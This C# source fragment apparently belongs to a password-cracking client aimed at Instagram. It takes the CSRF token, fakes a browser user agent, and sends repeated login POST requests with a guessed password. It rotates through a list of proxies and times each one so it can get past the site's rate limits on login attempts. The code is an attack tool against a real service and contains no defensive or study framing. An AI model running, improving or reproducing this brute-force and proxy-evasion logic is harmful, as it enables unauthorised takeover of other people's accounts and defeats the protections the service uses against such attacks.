public CrackerClient(params string[] usernames) { Usernames = usernames; UsernameIndex = 0; UsernameRefreshTimes = new DateTime[usernames.Length]; CurrentProxyIteration = 0; VariantsTried = 0; CurrentUserIteration = 0; DontLogTimes = new SortedSet <int>(); ProxyTimes = new SortedDictionary <int, List <long> >(); //WebDriver = new ChromeDriver(); Proxies = GetProxies(); if (File.Exists("ProxyTimes.txt")) { var proxyDict = Utils.LoadDictionary("ProxyTimes.txt"); for (int i = 0; i < Proxies.Length; ++i) { string key = Proxies[i].GetProxy(new Uri("https://google.com")).ToString(); if (proxyDict.TryGetValue(key, out string value) && value != "-1") { DontLogTimes.Add(i); } } } ProxiesEnumerator = ((IEnumerable <IWebProxy>)Proxies).GetEnumerator(); ProxyTimer = new Stopwatch(); ProxyIndex = 0; _client = new RestClient("https://www.instagram.com") { FollowRedirects = true, CookieContainer = COOKIES, UserAgent = "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/66.0.3359.139 Safari/537.36" }; _client.AddDefaultHeader( "X-CSRFToken", _client.Execute( new RestRequest("/") ).Cookies.First( c => c.Name == "csrftoken" ).Value ); _client.AddDefaultHeader("X-Instagram-AJAX", "2"); _client.AddDefaultHeader("X-Requested-With", "XMLHttpRequest"); _client.AddDefaultParameter("queryParams", "{}", ParameterType.GetOrPost); _client.AddDefaultParameter("username", usernames[0]); ProxiesEnumerator.MoveNext(); _client.Proxy = ProxiesEnumerator.Current; _client.FollowRedirects = false; }
public void TestRateLimits() { IRestResponse response = null; RestRequest request = new RestRequest("/accounts/login/ajax/", Method.POST); //request.AddParameter(UsernameParameter); request.AddParameter("password", "weezer", ParameterType.GetOrPost); //request.AddParameter("queryParams", "{\"source\":\"auth_switcher\"}", ParameterType.GetOrPost); int i = 0; do { response = _client.Execute(request); } while (response.IsSuccessful && ++i < 32); Console.WriteLine("{0} requests", i); ProxiesEnumerator.MoveNext(); _client.Proxy = ProxiesEnumerator.Current; }